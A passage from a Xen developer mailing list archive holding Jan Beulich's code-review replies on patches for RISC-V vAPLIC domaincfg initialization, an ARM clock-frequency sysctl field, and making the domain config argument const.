 <6a4adfa7-ec9a-4cbd-a9e2-571293cbb1ed@suse.com>
 <69d18359-3fae-4618-b46a-ad52bcf1a027@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZg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/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <69d18359-3fae-4618-b46a-ad52bcf1a027@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1783924917-6FD57FE7-DF46241F/0/0
X-purgate-type: clean
X-purgate-size: 2962

On 10.07.2026 17:52, Oleksii Kurochko wrote:
> On 7/9/26 5:39 PM, Jan Beulich wrote:
>> On 06.07.2026 17:57, Oleksii Kurochko wrote:
>>> At the current development stage, only domain vINTC init and deinit
>>> operations are required, so implement those first.
>>>
>>> Initialize vAPLIC's domaincfg to with the interrupt-enable bit set and
>>> MSI delivery mode selected as the current solution is exepcted to have
>>> always IMSIC, and initialize vintc->ops.
>>
>> How would domaincfg be initialized on real hardware? 
> 
> Xen will initialize that in aplic_init_hw_interrupts():
> writel(APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM, &aplic.regs->domaincfg);

I.e. it is very much something the OS should do.

> I can see that maybe
>> firmware would have to set DM suitably (and you may mean to take firmware's
>> role here). 
> 
> I don't think that firmware will do that (and OpenSBI for example 
> doesn't do that). If firmware can do that we for sure want to control in 
> Xen what is written to ->domaincfg.
> 
>> But isn't setting at least IE entirely the OSes responsibility?
> 
> At least, Linux setups ->domaincfg once at the boot time:
> 
> 	/* Setup APLIC domaincfg register */
> 	val = readl(priv->regs + APLIC_DOMAINCFG);
> 	val |= APLIC_DOMAINCFG_IE;
> 	if (msi_mode)
> 		val |= APLIC_DOMAINCFG_DM;
> 	writel(val, priv->regs + APLIC_DOMAINCFG);
> 	if (readl(priv->regs + APLIC_DOMAINCFG) != val)
> 		dev_warn(priv->dev, "unable to write 0x%x in domaincfg\n", val);
> 
> And don't touch this register anymore, even for interrupt disablement it 
> isn't used.
> 
> So Xen can just does once:
> writel(APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM, &aplic.regs->domaincfg);
> 
> and then just properly handle access of a guest to domaincfg.

Xen can do this for itself, sure. But shouldn't domaincfg as seen by guests
start out 0 then?

>>> --- a/xen/arch/riscv/include/asm/aplic.h
>>> +++ b/xen/arch/riscv/include/asm/aplic.h
>>> @@ -15,6 +15,8 @@
>>>   
>>>   #include <asm/imsic.h>
>>>   
>>> +/* domaincfg bits 31:24 are read-only 0x80 */
>>> +#define APLIC_DOMAINCFG_RO      (0x80U << 24)
>>
>> Bit 7 is also documented as read-only 0. Wouldn't the comment better reflect
>> that as well?
> 
> Not sure, bits 31:24 are read-only *0x80* but bit 7 is read-only *0*.

And would it hurt if the comment said so, to avoid any ambiguity?

>>>   #define APLIC_DOMAINCFG_IE      BIT(8, U)
>>>   #define APLIC_DOMAINCFG_DM      BIT(2, U)
>>
>> Wouldn't you better spell out BE as well?
> 
> I can add:
>    #define APLIC_DOMAINCFG_BE       BIT(0, U)
> 
> But it isn't used at the moment (Linux also defines it but never 
> actually using it). Do you want still to add that now?

Imo it would be better to have a complete set of definitions. If you
don't allow guests to set this bit, perhaps to emit a sufficiently
informative debug log messages you may want to use the #define?

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 06:52:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 06:52:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361406.1613641 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAWM-0003nE-Gj; Mon, 13 Jul 2026 06:52:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361406.1613641; Mon, 13 Jul 2026 06:52:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAWM-0003n7-DN; Mon, 13 Jul 2026 06:52:06 +0000
Received: by outflank-mailman (input) for mailman id 1361406;
 Mon, 13 Jul 2026 06:52:04 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjAWK-0003mv-Ii
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 06:52:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjAWJ-00DyvY-VT
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 08:52:03 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a548b0e-5cb7-0a2a0a5109dd-0a2a4501c5d8-24
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 08:52:03 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a548b13-3ea4-0a2a45010019-d155802edcd3-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 08:52:03 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-493f431e317so26573575e9.0
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 23:52:03 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0f21543sm76876459f8f.35.2026.07.12.23.52.01
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Sun, 12 Jul 2026 23:52:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783925523; x=1784530323; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=S18dqNgpy/YfQrOtaaEGkpZaetwQIxuXVt5wf32ZvIQ=;
        b=TWPEORfS3NdGfOnEW4EU0b57RlNLHNTbly+V+xRu4b/31pG5/pr2v/hK1Dy19yKUw9
         NsPuFaaiQAxTopJ+SHSdJpFaXSRr8DIbppL5S1uVGh9Au5kAXUFwWX73WKFggOoWPYNj
         ZPGqfVgb+XKISKyC+UdPyiSAd9UkeWPDYpEcQo3R+K0Ac8CLEZM1sgssimCX+RDpKEdC
         bjfEYwbnZYEHf70WlBnJqlAZfEFVKAQgiwfBCxo6Y+mxFs7C1aJhX00If1vIiTSNpzcY
         lMXQwjmZeu8DzGjQoqy5WKD9tkGihcHXXHlXJMN5ZGw4MKf1+cojwjZXHbRwpQLK0OTr
         csJg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783925523; x=1784530323;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=S18dqNgpy/YfQrOtaaEGkpZaetwQIxuXVt5wf32ZvIQ=;
        b=fVTvVP4R3OsOVbI3oJ5RLBG0GaGbkQNPUhMPFLencwOrlMMtxDExWlT4JdohrrvmfF
         8g2Fde4gaXgsfoomdmYA1w1u5jAiytaVZFTmSk2h9Dri+2dGqIzBwN97WTbSZ4gA2KRP
         0suqp8L5grGj/xV3coU1ztFIz09ib/wJ+13gI8U5Hj9xGBteX3E84j4/fwz24IVlN5Xg
         Oe+1Qe4avuaxwuNwIBYjj+l0lG9Orqd009n2z1Djt4vibIMismcLuK0L/DKgUo66739F
         jcMJi52f87qJnkP6SDmNkLVWpBVNQJkYOo8KqMHfgH3GdU66XjcbwzqY+KcipQRzK3fW
         LzFQ==
X-Forwarded-Encrypted: i=1; AHgh+RraWBUZOxWJ2Tja3f2HnoSs8SVoWhQgUc2zzAwnfPxgymO+fANJbpcxg/qmLx9U1yIo1ZPmoM+6a88=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyDNqV8Et60n261ROOBW8bGs4WiDpvYY5PqSeXY3QI0gVZeqf3q
	02pv8fcumwtVb2jid3KSwwhsUHdfg1n6QfKnB/+jBUdWzneeVVm5n4z3kG3ZLwW1Xw==
X-Gm-Gg: AfdE7cmEEPB6i/za7hAf0AYzfQjiiD0UntAoIyF+yJMzUyjFDYFv8O3wLNQDOkce6+q
	CXwHxkhaFkmR/4cO3E0DPdE18t36IU6f9S6W3HxvL7U5QfMCPKk7S8EzedoVsiwD8gi6vUIyJ6p
	FoHh+a6kLkWslnn2x1+BN7u3ECbn230ClKjXnUrusMTNu5CXdeW+Neu+qBOFR+xmimc1+k43WJs
	vl0ZRHmV/eWmCHtn5jvPyPSSLKaVAmFEoQ9I8agUcscAcIqPGYFx7TJeYstw5++rchLWoPro7r8
	ygibk/5m4+4rAZG2oW7zZTM6ND8ZoNkNvo+WYCxl2YEjeke+kKQWFkeNCuzuRwpgGdXuVBErd+l
	nj6NkszeAZsCM189j90I/EUp5Qz03pfTwu0gpuvReAxEDFc1YJHVGVXPrc7yxVRb74yTVrpVyJk
	Xi8mYg62dGMBDij9Ui3xZg+CDckOcpqaVQHKEErp509lqTuD7SDgd5IgFuiXXKcfTPiL+EvKXIv
	B9F
X-Received: by 2002:a05:600c:e557:20b0:493:f822:ac5e with SMTP id 5b1f17b1804b1-493f8818052mr54556485e9.23.1783925522871;
        Sun, 12 Jul 2026 23:52:02 -0700 (PDT)
Message-ID: <fbbadb1e-8c5b-4f6f-831f-7b6ba1cec8aa@suse.com>
Date: Mon, 13 Jul 2026 08:52:01 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 5/6] xen/arm: report clock_frequency via sysctl
 physinfo, not createdomain
To: Julian Vetter <julian.vetter@vates.tech>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Juergen Gross
 <jgross@suse.com>, Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <20260710135503.301746-1-julian.vetter@vates.tech>
 <20260710135711.301993-1-julian.vetter@vates.tech>
 <1783691845.8631fc262581453bbf619ec5b2062170.19f4c519ec3000edb5@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1783691845.8631fc262581453bbf619ec5b2062170.19f4c519ec3000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1783925523-3E2EC0A8-461440FF/0/0
X-purgate-type: clean
X-purgate-size: 1074

On 10.07.2026 15:57, Julian Vetter wrote:
> --- a/xen/include/public/sysctl.h
> +++ b/xen/include/public/sysctl.h
> @@ -120,7 +120,18 @@ struct xen_sysctl_physinfo {
>      uint32_t cpu_khz;
>      uint32_t capabilities;/* XEN_SYSCTL_PHYSCAP_??? */
>      uint32_t arch_capabilities;/* XEN_SYSCTL_PHYSCAP_{X86,ARM,...}_??? */
> -    uint32_t pad;
> +    /*
> +     * ARM only. Based on the property clock-frequency in the DT timer node.

What is the behavior then when using ACPI instead of DT?

> +     * The property may be present when the bootloader/firmware doesn't
> +     * correctly set CNTFRQ to hold the timer frequency.
> +     *
> +     * As it's not possible to trap this register, we have to replicate the
> +     * value in the guest DT.
> +     *
> +     * = 0 => property not present, or non-ARM
> +     * > 0 => Value of the property
> +     */

All fine, but ...

> +    uint32_t arch_clock_frequency;

... not even the name says what the granularity is. Certainly not Hz, or a
32-bit value could easily be too narrow.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 07:00:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 07:00:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361417.1613649 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAe9-0005RE-7m; Mon, 13 Jul 2026 07:00:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361417.1613649; Mon, 13 Jul 2026 07:00:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAe9-0005R7-4s; Mon, 13 Jul 2026 07:00:09 +0000
Received: by outflank-mailman (input) for mailman id 1361417;
 Mon, 13 Jul 2026 07:00:08 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjAe7-0005O4-Sl
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 07:00:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjAe6-00E1Vh-JW
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:00:06 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a548cf4-bab6-0a2a0a5309dd-0a2a4506c8da-22
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:00:06 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a548cf6-0835-0a2a45060019-d155802ef05d-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:00:06 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-493b77b150aso23378935e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 00:00:06 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6d53absm337552655e9.6.2026.07.13.00.00.04
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 00:00:04 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783926006; x=1784530806; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=7ykb3U8Qe8uE8oPMdyrkRVkKPcIMWbzFuSoRegICdfM=;
        b=dW3SnYasgv57T3ZULQFMfeLkgMi0LnamCJoq0rRVsHxiz2iH+YsgvUOO1VfBoSkaGR
         zD4wnXcNYIrEC09gPxIfkyBMPWxegi2goRekuMdBKvPiDg3E5DH2geIW3pWK7GOAFp2o
         lfjAPQCqlOhtS/tQagPsW0Ev+A5XUvWpKZqPUES1Df2TGeMCa/aKBmGRT4YnK2gmwjFt
         vjn13uoSqEoF5mqCe2K/QJgyJ6U5N08B1GQZUMdh61Dx9dM/YFevCwuWgMyN4XejVoMg
         aunmqlsc+Zo7gkezNdE4j6SuJpVn+5dwGImFxILaGomf5XZLAhIGnw8pt9sKTf9WNSAE
         nTsQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783926006; x=1784530806;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=7ykb3U8Qe8uE8oPMdyrkRVkKPcIMWbzFuSoRegICdfM=;
        b=Fit65saqpw7xqAAJ3/QBogg3mfluehrEcacWkZT4hJy2QUaxNnjeDjH3aVwUjx+0Xm
         DOMDpBsYghqqx5h5NsK3u23FlHugbIscUzasqtCtVOXpxTeLpXnjPckZhrjj98t1u/6e
         ceADGDNdlum7FMEC5ZAkpD5+VXpoimXKXnOLAMc1mKf28MNbo0lC6cwbSj2UADkT00r3
         XCTD9uPq03J91snwDqwrpvze4Spl1OZmpQjpgZAqbRXT/WazW5hJ3OXn4k/2rjOwfLwf
         nrjXu9eGwoFz3Hqx/6rjZXiDS/63STxJbopSthfnPoS527oGOsR4Zz3stjinI28IWwJX
         wMpA==
X-Forwarded-Encrypted: i=1; AHgh+RokZlc7ihzpVKZaw2fKxGANdcREPkNZeuc0hVSe1PQfMVsWuReKJVWxtjdC+IvjlGl305sjPLFDumo=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw9IBnYKliRHvnITlrDIuGAvoGN3+OPi6Sg86VmughHL/YnW5ko
	URvqjy4YIkg5AHtrLRhQ6Y9fVRPuLjBOQ4FRHA3JoCfrw7TeExbKR6AHX/Wrds7t6w==
X-Gm-Gg: AfdE7cn2psYbTBrmi7M7+2ojWoz7kiwMtjN9lclv2fvyQIRJvTkG3ETeG7iT7MpdSaW
	Qp09zrLv/ejQn2VQdfX8+gmep8wVIeIcC6CYfQsov/z19BqTRXicb4EXFQreW4EqEzgOms6KH5X
	BiDTGVznjWHIyj3WQf+OrOJm78S55B9pJk7kTp3liTUl5IbM9mJTlkFXQsfxS0obR8KrnRH3oRK
	eDfWRRD0NgQWqimdu13itfVZt8XGbOVPijoUhzQttUcd0IfsfbB/lKfRMSsZYRo4W3UfVphazuK
	v9X9YCzAd0zFU1mcfhxxNwJBX0guRx1tAa75ZJCs5T4QMgDIWgG3+jD/L0ebtrPNx9ggY5UCBKd
	QF6Be48fHCPb4kf04KO150pRow+O+VttYx83l41BPqkoA8ELcG9FEt3um7q1ZoI8LQ+dJFv+8u9
	JYzXqtIKLDbQYnIxBhLV31t3EHbpSQ/W431ReJQ6rvOLFrd2UhjO13vHQEVZM73ONc8DDugQS57
	c97
X-Received: by 2002:a05:600c:8b63:b0:493:ee2b:c876 with SMTP id 5b1f17b1804b1-493fd59b878mr58790025e9.35.1783926005596;
        Mon, 13 Jul 2026 00:00:05 -0700 (PDT)
Message-ID: <3fbd0a74-62fb-4c98-9d48-84703719aa19@suse.com>
Date: Mon, 13 Jul 2026 09:00:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 6/6] xen: make config argument const
To: Julian Vetter <julian.vetter@vates.tech>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Juergen Gross
 <jgross@suse.com>, Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
 Timothy Pearson <tpearson@raptorengineering.com>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <20260710135503.301746-1-julian.vetter@vates.tech>
 <20260710135711.301993-1-julian.vetter@vates.tech>
 <1783691847.8631fc262581453bbf619ec5b2062170.19f4c51a755000edb5@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd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kWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1783691847.8631fc262581453bbf619ec5b2062170.19f4c51a755000edb5@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1783926006-512BF617-D0388BCF/0/0
X-purgate-type: clean
X-purgate-size: 1239

On 10.07.2026 15:57, Julian Vetter wrote:
> arch_sanitise_domain_config() validates the configuration requested by
> the toolstack, and should not fill anything in. The config struct passed
> to createdomain is supposed to be pure input. ARM used to abuse this
> (GIC_NATIVE resolution, now removed) to smuggle output back to the
> toolstack. Making the parameter const stops that type of abuse from
> happening on any architecture.
> 
> The x86 implementation turned out to have its own instance of the same
> issue. It set XEN_DOMCTL_CDF_oos_off into config->flags for non-HVM
> guests. Since The sanitisation runs before the function domain_create()
> copies config->flags into d->options, this relied on mutating the
> toolstack's config to take effect. Move the default onto d->options
> directly in arch_domain_create() (which runs after d->options is
> populated), where all the remaining domain options are resolved. This
> has the same effect and no mutation of the input config is required.
> 
> ARM, PPC and RISC-V need no equivalent change, Their implementations
> were already read-only.
> 
> Signed-off-by: Julian Vetter <julian.vetter@vates.tech>

Reviewed-by: Jan Beulich <jbeulich@suse.com> # x86



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 07:10:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 07:10:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361430.1613659 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAnh-0006M4-7D; Mon, 13 Jul 2026 07:10:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361430.1613659; Mon, 13 Jul 2026 07:10:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
